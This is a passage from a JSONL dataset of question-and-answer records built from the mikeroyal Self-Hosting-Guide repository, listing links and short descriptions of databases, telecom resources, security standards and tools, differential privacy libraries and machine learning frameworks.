AWS](https://aws.amazon.com/products/databases/)\n\n[Best Practices and Recommendations for SQL Server Clustering in AWS EC2.](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/aws-sql-clustering.html)\n\n[Connecting from Google Kubernetes Engine to a Cloud SQL instance.](https://cloud.google.com/sql/docs/mysql/connect-kubernetes-engine)\n\n[Educational Microsoft Azure SQL resources](https://docs.microsoft.com/en-us/sql/sql-server/educational-sql-resources?view=sql-server-ver15)\n\n[MySQL Certifications](https://www.mysql.com/certification/)\n\n[SQL vs. NoSQL Databases: What's the Difference?](https://www.ibm.com/cloud/blog/sql-vs-nosql)\n\n[What is NoSQL?](https://aws.amazon.com/nosql/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318990"}
{"id": "gh_4d431e90c4a9", "question": "How to: SQL/NoSQL Tools and Databases", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Netdata](https://github.com/netdata/netdata) is high-fidelity infrastructure monitoring and troubleshooting, real-time monitoring Agent collects thousands of metrics from systems, hardware, containers, and applications with zero configuration. It runs permanently on all your physical/virtual servers, containers, cloud deployments, and edge/IoT devices, and is perfectly safe to install on your systems mid-incident without any preparation.\n\n[Azure Data Studio](https://github.com/Microsoft/azuredatastudio) is an open source data management tool that enables working with SQL Server, Azure SQL DB and SQL DW from Windows, macOS and Linux.\n\n[RStudio](https://rstudio.com/) is an integrated development environment for R and Python, with a console, syntax-highlighting editor that supports direct code execution, and tools for plotting, history, debugging and workspace management.\n\n[MySQL](https://www.mysql.com/) is a fully managed database service to deploy cloud-native applications using the world's most popular open source database.\n\n[PostgreSQL](https://www.postgresql.org/) is a powerful, open source object-relational database system with over 30 years of active development that has earned it a strong reputation for reliability, feature robustness, and performance.\n\n[Amazon DynamoDB](https://aws.amazon.com/dynamodb/) is a key-value and document database that delivers single-digit millisecond performance at any scale. It is a fully managed, multiregion, multimaster, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications.\n\n[Apache Cassandra™](https://cassandra.apache.org/) is an open source NoSQL distributed database trusted by thousands of companies for scalability and high availability without compromising performance. Cassandra provides linear scalability and proven fault-tolerance on commodity hardware or cloud infrastructure make it the perfect platform for mission-critical data.\n\n[Apache HBase™](https://hbase.apache.org/) is an open-source, NoSQL, distributed big data store. It enables random, strictly consistent, real-time access to petabytes of data. HBase is very effective for handling large, sparse datasets. HBase serves as a direct input and output to the Apache MapReduce framework for Hadoop, and works with Apache Phoenix to enable SQL-like queries over HBase tables.\n\n[Hadoop Distributed File System (HDFS)](https://www.ibm.com/analytics/hadoop/hdfs) is a distributed file system that handles large data sets running on commodity hardware. It is used to scale a single Apache Hadoop cluster to hundreds (and even thousands) of nodes. HDFS is one of the major components of Apache Hadoop, the others being [MapReduce](https://www.ibm.com/analytics/hadoop/mapreduce) and [YARN](https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html).\n\n[Apache Mesos](http://mesos.apache.org/) is a cluster manager that provides efficient resource isolation and sharing across distributed applications, or frameworks. It can run Hadoop, Jenkins, Spark, Aurora, and other frameworks on a dynamically shared pool of nodes.\n\n[Apache Spark](https://spark.apache.org/) is a unified analytics engine for big data processing, with built-in modules for streaming, SQL, machine learning and graph processing.\n\n[ElasticSearch](https://www.elastic.co/) is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents. Elasticsearch is developed in Java.\n\n[Logstash](https://www.elastic.co/products/logstash) is a tool for managing events and logs. When used generically, the term encompasses a larger system of log collection, processing, storage and searching activities.\n\n[Kibana](https://www.elastic.co/products/kibana) is an open source data visualization plugin for Elasticsearch. It provides visualization capabilities on top of the content indexed on an Elasticsearch cluster. Users can create bar, line and scatter plots, or pie charts and maps on top of large volumes of data.\n\n[Trino](https://trino.io/) is a Distributed SQL query engine for big data. It is able to tremendously speed up [ETL processes](https://docs.microsoft.com/en-us/azure/architecture/data-guide/relational-data/etl), allow them all to use standard SQL statement, and work with numerous data sources and targets all in the same system.\n\n[Extract, transform, and load (ETL)](https://docs.microsoft.com/en-us/azure/architecture/data-guide/relational-data/etl) is a data pipeline used to collect data from various sources, transform the data according to business rules, and load it into a destination data store.\n\n[Redis(REmote DIctionary Server)](https://redis.io/) is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker. It provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319016"}
{"id": "gh_55751e062abe", "question": "How to: Telco Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[HPE(Hewlett Packard Enterprise) Telco Blueprints overview](https://techhub.hpe.com/eginfolib/servers/docs/Telco/Blueprints/infocenter/index.html#GUID-9906A227-C1FB-4FD5-A3C3-F3B72EC81CAB.html)\n\n[Network Functions Virtualization Infrastructure (NFVI) by Cisco](https://www.cisco.com/c/en/us/solutions/service-provider/network-functions-virtualization-nfv-infrastructure/index.html)\n\n[Introduction to vCloud NFV Telco Edge from VMware](https://docs.vmware.com/en/VMware-vCloud-NFV-OpenStack-Edition/3.1/vloud-nfv-edge-reference-arch-31/GUID-744C45F1-A8D5-4523-9E5E-EAF6336EE3A0.html)\n\n[VMware Telco Cloud Automation(TCA) Architecture Overview](https://docs.vmware.com/en/VMware-Telco-Cloud-Platform-5G-Edition/1.0/telco-cloud-platform-5G-edition-reference-architecture/GUID-C19566B3-F42D-4351-BA55-DE70D55FB0DD.html)\n\n[5G Telco Cloud from VMware](https://telco.vmware.com/)\n\n[Maturing OpenStack Together To Solve Telco Needs from Red Hat](https://www.redhat.com/cms/managed-files/4.Nokia%20CloudBand%20&%20Red%20Hat%20-%20Maturing%20Openstack%20together%20to%20solve%20Telco%20needs%20Ehud%20Malik,%20Senior%20PLM,%20Nokia%20CloudBand.pdf)\n\n[Red Hat telco ecosystem program](https://connect.redhat.com/en/programs/telco-ecosystem)\n\n[OpenStack for Telcos by Canonical](https://ubuntu.com/blog/openstack-for-telcos-by-canonical)\n\n[Open source NFV platform for 5G from Ubuntu](https://ubuntu.com/telco)\n\n[Understanding 5G Technology from Verizon](https://www.verizon.com/5g/)\n\n[Verizon and Unity partner to enable 5G & MEC gaming and enterprise applications](https://www.verizon.com/about/news/verizon-unity-partner-5g-mec-gaming-enterprise)\n\n[Understanding 5G Technology from Intel](https://www.intel.com/content/www/us/en/wireless-network/what-is-5g.html)\n\n[Understanding 5G Technology from Qualcomm](https://www.qualcomm.com/invention/5g/what-is-5g)\n\n[Telco Acceleration with Xilinx](https://www.xilinx.com/applications/wired-wireless/telco.html)\n\n[VIMs on OSM Public Wiki](https://osm.etsi.org/wikipub/index.php/VIMs)\n\n[Amazon EC2 Overview and Networking Introduction for Telecom Companies](https://docs.aws.amazon.com/whitepapers/latest/ec2-networking-for-telecom/ec2-networking-for-telecom.pdf)\n\n[Citrix Certified Associate – Networking(CCA-N)](http://training.citrix.com/cms/index.php/certification/networking/)\n\n[Citrix Certified Professional – Virtualization(CCP-V)](https://www.globalknowledge.com/us-en/training/certification-prep/brands/citrix/section/virtualization/citrix-certified-professional-virtualization-ccp-v/)\n\n[CCNP Routing and Switching](https://learningnetwork.cisco.com/s/ccnp-enterprise)\n\n[Certified Information Security Manager(CISM)](https://www.isaca.org/credentialing/cism)\n\n[Wireshark Certified Network Analyst (WCNA)](https://www.wiresharktraining.com/certification.html)\n\n[Juniper Networks Certification Program Enterprise (JNCP)](https://www.juniper.net/us/en/training/certification/)\n\n[Cloud Native Computing Foundation Training and Certification Program](https://www.cncf.io/certification/training/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319028"}
{"id": "gh_449cfc36f978", "question": "How to: Open Source Security", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Open Source Security Foundation (OpenSSF)](https://openssf.org/) is a cross-industry collaboration that brings together leaders to improve the security of open source software by building a broader community, targeted initiatives, and best practices. The OpenSSF brings together open source security initiatives under one foundation to accelerate work through cross-industry support. Along with the Core Infrastructure Initiative and the Open Source Security Coalition, and will include new working groups that address vulnerability disclosures, security tooling and more.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319035"}
{"id": "gh_8fae43812c55", "question": "How to: Security Standards, Frameworks and Benchmarks", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[STIGs Benchmarks - Security Technical Implementation Guides](https://public.cyber.mil/stigs/)\n\n[CIS Benchmarks - CIS Center for Internet Security](https://www.cisecurity.org/cis-benchmarks/)\n\n[NIST - Current FIPS](https://www.nist.gov/itl/current-fips)\n\n[ISO Standards Catalogue](https://www.iso.org/standards.html)\n\n[Common Criteria for Information Technology Security Evaluation (CC)](https://www.commoncriteriaportal.org/cc/) is an international standard (ISO / IEC 15408) for computer security. It allows an objective evaluation to validate that a particular product satisfies a defined set of security requirements. \n\n[ISO 22301](https://www.iso.org/en/contents/data/standard/07/51/75106.html) is the international standard that provides a best-practice framework for implementing an optimised BCMS (business continuity management system).\n\n[ISO27001](https://www.iso.org/isoiec-27001-information-security.html) is the international standard that describes the requirements for an ISMS (information security management system). The framework is designed to help organizations manage their security practices in one place, consistently and cost-effectively.\n\n[ISO 27701](https://www.iso.org/en/contents/data/standard/07/16/71670.html) specifies the requirements for a PIMS (privacy information management system) based on the requirements of ISO 27001.\nIt is extended by a set of privacy-specific requirements, control objectives and controls. Companies that have implemented ISO 27001 will be able to use ISO 27701 to extend their security efforts to cover privacy management.\n\n[EU GDPR (General Data Protection Regulation)](https://gdpr.eu/) is a privacy and data protection law that supersedes existing national data protection laws across the EU, bringing uniformity by introducing just one main data protection law for companies/organizations to comply with.\n\n[CCPA (California Consumer Privacy Act)](https://www.oag.ca.gov/privacy/ccpa) is a data privacy law that took effect on January 1, 2020 in the State of California. It applies to businesses that collect California residents’ personal information, and its privacy requirements are similar to those of the EU’s GDPR (General Data Protection Regulation).\n\n[Payment Card Industry (PCI) Data Security Standards (DSS)](https://docs.microsoft.com/en-us/microsoft-365/compliance/offering-pci-dss) is a global information security standard designed to prevent fraud through increased control of credit card data.\n\n[SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) is an auditing procedure that ensures your service providers securely manage your data to protect the interests of your comapny/organization and the privacy of their clients. \n\n[NIST CSF](https://www.nist.gov/national-security-standards) is a voluntary framework primarily intended for critical infrastructure organizations to manage and mitigate cybersecurity risk based on existing best practice.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319046"}
{"id": "gh_5b85f79b4ab5", "question": "How to: Security Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[SELinux](https://github.com/SELinuxProject/selinux) is a security enhancement to Linux which allows users and administrators more control over access control. Access can be constrained on such variables as which users and applications can access which resources. These resources may take the form of files. Standard Linux access controls, such as file modes (-rwxr-xr-x) are modifiable by the user and the applications which the user runs. Conversely, SELinux access controls are determined by a policy loaded on the system which may not be changed by careless users or misbehaving applications.\n\n[AppArmor](https://www.apparmor.net/) is an effective and easy-to-use Linux application security system. AppArmor proactively protects the operating system and applications from external or internal threats, even zero-day attacks, by enforcing good behavior and preventing both known and unknown application flaws from being exploited. AppArmor supplements the traditional Unix discretionary access control (DAC) model by providing mandatory access control (MAC). It has been included in the mainline Linux kernel since version 2.6.36 and its development has been supported by Canonical since 2009.\n\n[Control Groups(Cgroups)](https://www.redhat.com/sysadmin/cgroups-part-one) is a Linux kernel feature that allows you to allocate resources such as CPU time, system memory, network bandwidth, or any combination of these resources for user-defined groups of tasks (processes) running on a system.\n\n[EarlyOOM](https://github.com/rfjakob/earlyoom) is a daemon for Linux that enables users to more quickly recover and regain control over their system in low-memory situations with heavy swap usage. \n\n[Libgcrypt](https://www.gnupg.org/related_software/libgcrypt/) is a general purpose cryptographic library originally based on code from GnuPG.\n\n[Kali Linux](https://www.kali.org/)  is an open source project that is maintained and funded by Offensive Security, a provider of world-class information security training and penetration testing services.\n\n[Pi-hole](https://pi-hole.net/) is a [DNS sinkhole](https://en.wikipedia.org/wiki/DNS_Sinkhole) that protects your devices from unwanted content, without installing any client-side software, intended for use on a private network. It is designed for use on embedded devices with network capability, such as the Raspberry Pi, but it can be used on other machines running Linux and cloud implementations.\n\n[Aircrack-ng](https://www.aircrack-ng.org/) is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs. It works with any wireless network interface controller whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.\n\n[Burp Suite](https://portswigger.net/burp) is a leading range of cybersecurity tools.\n\n[KernelCI](https://foundation.kernelci.org/) is a community-based open source distributed test automation system focused on upstream kernel development. The primary goal of KernelCI is to use an open testing philosophy to ensure the quality, stability and long-term maintenance of the Linux kernel.\n\n[Continuous Kernel Integration project](https://github.com/cki-project) helps find bugs in kernel patches before they are commited to an upstram kernel tree. We are team of kernel developers, kernel testers, and automation engineers.\n\n[eBPF](https://ebpf.io) is a revolutionary technology that can run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. By making the Linux kernel programmable, infrastructure software can leverage existing layers, making them more intelligent and feature-rich without continuing to add additional layers of complexity to the system.\n\n[Cilium](https://cilium.io/) uses eBPF to accelerate getting data in and out of L7 proxies such as Envoy, enabling efficient visibility into API protocols like HTTP, gRPC, and Kafka. \n\n[Hubble](https://github.com/cilium/hubble) is a Network, Service & Security Observability for Kubernetes using eBPF.\n\n[Istio](https://istio.io/) is an open platform to connect, manage, and secure microservices. Istio's control plane provides an abstraction layer over the underlying cluster management platform, such as Kubernetes and Mesos.\n\n[Certgen](https://github.com/cilium/certgen) is a convenience tool to generate and store certificates for Hubble Relay mTLS.\n\n[Scapy](https://scapy.net/) is a python-based interactive packet manipulation program & library.\n\n[syzkaller](https://github.com/google/syzkaller) is an unsupervised, coverage-guided kernel fuzzer.\n\n[SchedViz](https://github.com/google/schedviz) is a tool for gathering and visualizing kernel scheduling traces on Linux machines.\n\n[oss-fuzz](https://google.github.io/oss-fuzz/) aims to make common open source software more secure and stable by combining modern fuzzing techniques with scalable, distributed execution.\n\n[OSSEC](https://www.ossec.net/) i", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319070"}
{"id": "gh_7ab36e248272", "question": "How to: Open Source Security Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Microsoft Open Source Software Security](https://www.microsoft.com/en-us/securityengineering/opensource)\n\n[Cloudflare Open Source Security](https://cloudflare.github.io)\n\n[The Seven Properties of Highly Secure Devices](https://www.microsoft.com/en-us/research/publication/seven-properties-highly-secure-devices/)\n\n[How Layer 7 of the Internet Works](https://www.cloudflare.com/learning/ddos/what-is-layer-7/)\n\n[The 7 Kinds of Security](https://www.veracode.com/sites/default/files/Resources/eBooks/7-kinds-of-security.pdf)\n\n[The Libgcrypt Reference Manual](https://www.gnupg.org/documentation/manuals/gcrypt/)\n\n[The Open Web Application Security Project(OWASP) Foundation Top 10](https://owasp.org/www-project-top-ten/)\n\n[Best Practices for Using Open Source Code from The Linux Foundation](https://www.linuxfoundation.org/blog/2017/11/best-practices-using-open-source-code/)\n\n[AWS Certified Security - Specialty Certification](https://aws.amazon.com/certification/certified-security-specialty/)\n\n[Microsoft Certified: Azure Security Engineer Associate](https://docs.microsoft.com/en-us/learn/certifications/azure-security-engineer)\n\n[Google Cloud Certified Professional Cloud Security Engineer](https://cloud.google.com/certification/cloud-security-engineer)\n\n[Cisco Security Certifications](https://www.cisco.com/c/en/us/training-events/training-certifications/certifications/security.html)\n\n[The Red Hat Certified Specialist in Security: Linux](https://www.redhat.com/en/services/training/ex415-red-hat-certified-specialist-security-linux-exam)\n\n[Linux Professional Institute LPIC-3 Enterprise Security Certification](https://www.lpi.org/our-certifications/lpic-3-303-overview)\n\n[Cybersecurity Training and Courses from IBM Skills](https://www.ibm.com/skills/topics/cybersecurity/)\n\n[Cybersecurity Courses and Certifications by Offensive Security](https://www.offensive-security.com/courses-and-certifications/)\n\n[RSA Certification Program](https://community.rsa.com/community/training/certification)\n\n[Check Point Certified Security Expert(CCSE) Certification](https://training-certifications.checkpoint.com/#/courses/Check%20Point%20Certified%20Expert%20(CCSE)%20R80.x)\n\n[Check Point Certified Security Administrator(CCSA) Certification](https://training-certifications.checkpoint.com/#/courses/Check%20Point%20Certified%20Admin%20(CCSA)%20R80.x)\n\n[Check Point Certified Security Master (CCSM) Certification](https://training-certifications.checkpoint.com/#/courses/Check%20Point%20Certified%20Master%20(CCSM)%20R80.x)\n\n[Certified Cloud Security Professional(CCSP) Certification](https://www.isc2.org/Certifications/CCSP)\n\n[Certified Information Systems Security Professional (CISSP) Certification](https://www.isc2.org/Certifications/CISSP)\n\n[CCNP Routing and Switching](https://learningnetwork.cisco.com/s/ccnp-enterprise)\n\n[Certified Information Security Manager(CISM)](https://www.isaca.org/credentialing/cism)\n\n[Wireshark Certified Network Analyst (WCNA)](https://www.wiresharktraining.com/certification.html)\n\n[Juniper Networks Certification Program Enterprise (JNCP)](https://www.juniper.net/us/en/training/certification/)\n\n[Security Training Certifications and Courses from Udemy](https://www.udemy.com/courses/search/?src=ukw&q=secuirty)\n\n[Security Training Certifications and Courses from Coursera](https://www.coursera.org/search?query=security&)\n\n[Security Certifications Training from Pluarlsight](https://www.pluralsight.com/browse/information-cyber-security/security-certifications)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319080"}
{"id": "gh_843fbad83c11", "question": "How to: Differential Privacy", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\nAbove is a simple diagram of how Differential Privacy-Preserving Data Sharing and Data Mining protects a User's Data", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319085"}
{"id": "gh_b9aa09f14e79", "question": "How to: Differential Privacy Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Differential Privacy](https://www.microsoft.com/en-us/ai/ai-lab-differential-privacy) is a system that simultaneously enables researchers and analysts to extract useful insights from datasets containing personal information and offers stronger privacy protections. This is achieved by introducing \"statistical noise\".\n\n[Statistical Noise](https://news.microsoft.com/on-the-issues/2020/08/27/statistical-noise-data-differential-privacy/) is a process that small aletrations to masked datasets. The statistical noise hides identifiable characteristics of individuals, ensuring that the privacy of personal information is protected, but it's small enough to not materially impact the accuracy of the answers extracted by analysts and researchers.\n\n[Laplacian Noise](https://en.wikipedia.org/wiki/Laplace_distribution) is a mechanism that adds Laplacian-distributed noise to a function.\n\n[Differential Privacy Blog Series by the National Institute of Standards and Technology(NIST)](https://www.nist.gov/itl/applied-cybersecurity/privacy-engineering/collaboration-space/focus-areas/de-id/dp-blog)\n\n[Apple's Differential Privacy Overview](https://www.apple.com/privacy/docs/Differential_Privacy_Overview.pdf)\n\n[Learning with Privacy at Scale with Apple Machine Learning](https://machinelearning.apple.com/research/learning-with-privacy-at-scale)\n\n[Microsoft Research Differential Privacy Overview](https://www.microsoft.com/en-us/research/publication/differential-privacy/)\n\n[Responsible Machine Learning with Microsoft Azure](https://azure.microsoft.com/en-us/services/machine-learning/responsibleml/)\n\n[Responsible AI Resources with Microsoft AI](https://www.microsoft.com/en-us/ai/responsible-ai-resources)\n\n[Preserve data privacy by using differential privacy and the SmartNoise package](https://docs.microsoft.com/en-us/azure/machine-learning/concept-differential-privacy)\n\n[Open Differential Privacy(OpenDP) Initiative by Microsoft and Harvard](https://projects.iq.harvard.edu/opendp)\n\n[Google's Differential Privacy Library](https://github.com/google/differential-privacy)\n\n[Computing Private Statistics with Privacy on Beam from Google Codelabs](https://codelabs.developers.google.com/codelabs/privacy-on-beam/#0)\n\n[Introducing TensorFlow Privacy: Learning with Differential Privacy for Training Data](https://blog.tensorflow.org/2020/06/introducing-new-privacy-testing-library.html)\n\n[TensorFlow Federated: Machine Learning on Decentralized Data](https://www.tensorflow.org/federated/)\n\n[Federated Analytics: Collaborative Data Science without Data Collection](https://ai.googleblog.com/2020/05/federated-analytics-collaborative-data.html)\n\n[Differentially-Private Stochastic Gradient Descent(DP-SGD)](https://github.com/tensorflow/privacy/blob/master/tutorials/walkthrough/README.md)\n\n[Learning Differential Privacy from Harvard University Privacy Tools Project](https://privacytools.seas.harvard.edu/differential-privacy)\n\n[Harvard University Privacy Tools Project Courses & Educational Materials](https://privacytools.seas.harvard.edu/courses-educational-materials)\n\n[The Weaknesses of Differential Privacy course on Coursera](https://www.coursera.org/lecture/data-results/weaknesses-of-differential-privacy-50Y9k)\n\n[The Differential Privacy of Bayesian Inference](https://privacytools.seas.harvard.edu/publications/differential-privacy-bayesian-inference)\n\n[Simultaneous private learning of multiple concepts](https://privacytools.seas.harvard.edu/publications/simultaneous-private-learning-multiple-concepts)\n\n[The Complexity of Computing the Optimal Composition of Differential Privacy](https://privacytools.seas.harvard.edu/publications/complexity-computing-optimal-composition-differential-privacy)\n\n[Order revealing encryption and the hardness of private learning](https://privacytools.seas.harvard.edu/publications/order-revealing-encryption-and-hardness-private-learning)\n\n[SAP HANA data anonymization using SAP Software Solutions](https://www.sap.com/cmp/dg/crm-xt17-ddm-data-anony/index.html)\n\n[SAP HANA Security using their In-Memory Database](https://www.sap.com/products/hana/features/security.html)\n\n[DEFCON Differential Privacy Training Launch](https://opensource.googleblog.com/2020/08/defcon-differential-privacy-training.html)\n\n[Secure and Private AI course on Udacity](https://www.udacity.com/course/secure-and-private-ai--ud185)\n\n[Differential Privacy - Security and Privacy for Big Data - Part 1 course on Coursera](https://www.coursera.org/learn/security-privacy-big-data)\n\n[Differential Privacy - Security and Privacy for Big Data - Part 2 course on Coursera](https://www.coursera.org/learn/security-privacy-big-data-protection)\n\n[Certified Ethical Emerging Technologist Professional Certificate course on Coursera](https://www.coursera.org/professional-certificates/certified-ethical-emerging-technologist)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319096"}
{"id": "gh_9609bf686167", "question": "How to: Differential Privacy Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[PySyft](https://github.com/OpenMined/PySyft) is a Python library for secure and private Deep Learning. PySyft decouples private data from model training, using [Federated Learning](https://ai.googleblog.com/2017/04/federated-learning-collaborative.html), [Differential Privacy](https://www.microsoft.com/en-us/ai/ai-lab-differential-privacy), and Encrypted Computation (like [Multi-Party Computation (MPC)](https://multiparty.org) and [Homomorphic Encryption (HE)](https://www.microsoft.com/en-us/research/project/homomorphic-encryption/) within the main Deep Learning frameworks like [PyTorch](https://pytorch.org/) and [TensorFlow](https://www.tensorflow.org/).\n\n[TensorFlow Privacy](https://github.com/tensorflow/privacy) is a  Python library that includes implementations of TensorFlow optimizers for training machine learning models with differential privacy. The library comes with tutorials and analysis tools for computing the privacy guarantees provided.\n\n[TensorFlow Federated (TFF)](https://github.com/tensorflow/federated) is an open-source framework for machine learning and other computations on decentralized data. TFF has been developed to facilitate open research and experimentation with [Federated Learning (FL)](https://ai.googleblog.com/2017/04/federated-learning-collaborative.html), an approach to machine learning where a shared global model is trained across many participating clients that keep their training data locally. \n\n[Privacy on Beam](https://github.com/google/differential-privacy/tree/main/privacy-on-beam) is an end-to-end differential privacy solution built on [Apache Beam](https://beam.apache.org/documentation/). It is intended to be usable by all developers, regardless of their differential privacy expertise.\n\n[PyDP](https://github.com/OpenMined/PyDP) is a Python wrapper for Google's Differential Privacy project.\n\n[PennyLane](https://pennylane.ai) is a cross-platform Python library for [differentiable programming](https://en.wikipedia.org/wiki/Differentiable_programming) of quantum computers. By training a quantum computer the same way as a neural network.\n\n[BoTorch](https://botorch.org) is a library for Bayesian Optimization built on PyTorch.\n\n[PyTorch Geometric (PyG)](https://github.com/rusty1s/pytorch_geometric) is a geometric deep learning extension library for [PyTorch](https://pytorch.org/).\n\n[Skorch](https://github.com/skorch-dev/skorch) is a scikit-learn compatible neural network library that wraps PyTorch.\n\n[Diffprivlib](https://github.com/IBM/differential-privacy-library) is the IBM Differential Privacy Library for experimenting with, investigating and developing applications in, differential privacy.\n\n[Opacus](https://opacus.ai/) is a library that enables training PyTorch models with differential privacy. It supports training with minimal code changes required on the client, has little impact on training performance and allows the client to online track the privacy budget expended at any given moment.\n\n[Smart Noise](https://github.com/opendifferentialprivacy/smartnoise-sdk) is a toolkit that uses state-of-the-art differential privacy (DP) techniques to inject noise into data, to prevent disclosure of sensitive information and manage exposure risk.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319105"}
{"id": "gh_93e3205b6557", "question": "How to: Machine Learning", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319109"}
{"id": "gh_a7e4da88d09f", "question": "How to: ML frameworks & applications", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[TensorFlow](https://www.tensorflow.org) is an end-to-end open source platform for machine learning. It has a comprehensive, flexible ecosystem of tools, libraries and community resources that lets researchers push the state-of-the-art in ML and developers easily build and deploy ML powered applications.\n\n[Tensorman](https://github.com/pop-os/tensorman) is a utility for easy management of Tensorflow containers by developed by [System76]( https://system76.com).Tensorman allows Tensorflow to operate in an isolated environment that is contained from the rest of the system. This virtual environment can operate independent of the base system, allowing you to use any version of Tensorflow on any version of a Linux distribution that supports the Docker runtime.\n\n[Keras](https://keras.io) is a high-level neural networks API, written in Python and capable of running on top of TensorFlow, CNTK, or Theano.It was developed with a focus on enabling fast experimentation. It is capable of running on top of TensorFlow, Microsoft Cognitive Toolkit, R, Theano, or PlaidML.\n\n[PyTorch](https://pytorch.org) is a library for deep learning on irregular input data such as graphs, point clouds, and manifolds. Primarily developed by Facebook's AI Research lab.\n\n[Amazon SageMaker](https://aws.amazon.com/sagemaker/) is a fully managed service that provides every developer and data scientist with the ability to build, train, and deploy machine learning (ML) models quickly. SageMaker removes the heavy lifting from each step of the machine learning process to make it easier to develop high quality models.\n\n[Azure Databricks](https://azure.microsoft.com/en-us/services/databricks/) is a fast and collaborative Apache Spark-based big data analytics service designed for data science and data engineering. Azure Databricks, sets up your Apache Spark environment in minutes, autoscale, and collaborate on shared projects in an interactive workspace. Azure Databricks supports Python, Scala, R, Java, and SQL, as well as data science frameworks and libraries including TensorFlow, PyTorch, and scikit-learn.\n\n[Microsoft Cognitive Toolkit (CNTK)](https://docs.microsoft.com/en-us/cognitive-toolkit/) is an open-source toolkit for commercial-grade distributed deep learning. It describes neural networks as a series of computational steps via a directed graph. CNTK allows the user to easily realize and combine popular model types such as feed-forward DNNs, convolutional neural networks (CNNs) and recurrent neural networks (RNNs/LSTMs). CNTK implements stochastic gradient descent (SGD, error backpropagation) learning with automatic differentiation and parallelization across multiple GPUs and servers.\n\n[Apache Airflow](https://airflow.apache.org) is an open-source workflow management platform created by the community to programmatically author, schedule and monitor workflows. Install. Principles. Scalable. Airflow has a modular architecture and uses a message queue to orchestrate an arbitrary number of workers. Airflow is ready to scale to infinity.\n\n[Open Neural Network Exchange(ONNX)](https://github.com/onnx) is an open ecosystem that empowers AI developers to choose the right tools as their project evolves. ONNX provides an open source format for AI models, both deep learning and traditional ML. It defines an extensible computation graph model, as well as definitions of built-in operators and standard data types.\n\n[Apache MXNet](https://mxnet.apache.org/) is a deep learning framework designed for both efficiency and flexibility. It allows you to mix symbolic and imperative programming to maximize efficiency and productivity. At its core, MXNet contains a dynamic dependency scheduler that automatically parallelizes both symbolic and imperative operations on the fly. A 